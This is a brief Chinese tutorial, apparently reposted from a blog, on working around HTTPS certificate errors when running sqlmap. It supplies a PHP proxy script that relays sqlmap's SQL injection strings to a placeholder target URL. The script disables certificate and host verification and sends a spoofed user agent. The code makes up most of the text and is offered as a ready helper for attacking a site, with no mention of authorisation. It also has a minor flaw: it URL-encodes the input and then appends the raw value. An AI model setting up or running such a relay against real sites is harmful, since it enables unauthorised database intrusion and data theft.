对于 https 网站, 使用 sqlmap 可能会出现如下错误. 使用 - force-ssl 无效.
https 证书有问题
方法
本地建立 proxy.PHP, 内容为
- <?PHP
- $url = "https://xxxxx.com/id=2";
- $sql = $_GET[s];
- $s = urlencode($sql);
- $url = $url.$sql;
- // $params = "email=$s&password=aa";
- //echo $params;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https 请求 不验证证书和 hosts
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');
- curl_setopt($ch, CURLOPT_TIMEOUT, 15);
- // curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式
- // curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
- $output = curl_exec($ch);
- curl_close($ch);
- echo $output;
- $a = strlen($output);
- echo $a;
然后直接扔 sqlmap 跑就 ok,, 可以先本地访问一下
直接跑
来源: http://www.bubuko.com/infodetail-3416959.html